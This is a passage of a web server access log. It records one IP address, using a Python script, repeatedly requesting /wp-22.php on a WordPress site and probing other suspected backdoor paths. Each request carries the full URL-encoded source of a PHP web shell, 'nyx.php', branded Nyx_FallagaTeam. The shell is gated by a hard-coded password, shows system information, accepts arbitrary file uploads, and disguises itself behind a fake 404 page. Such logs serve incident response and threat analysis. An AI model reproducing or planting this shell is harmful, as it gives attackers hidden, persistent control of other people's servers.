files=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:18 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:20 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:21 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:22 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:23 +0530] "GET /wp-admin/wp.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:23 +0530] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:53:29 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:32 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:34 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:36 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:39 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:53:52 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E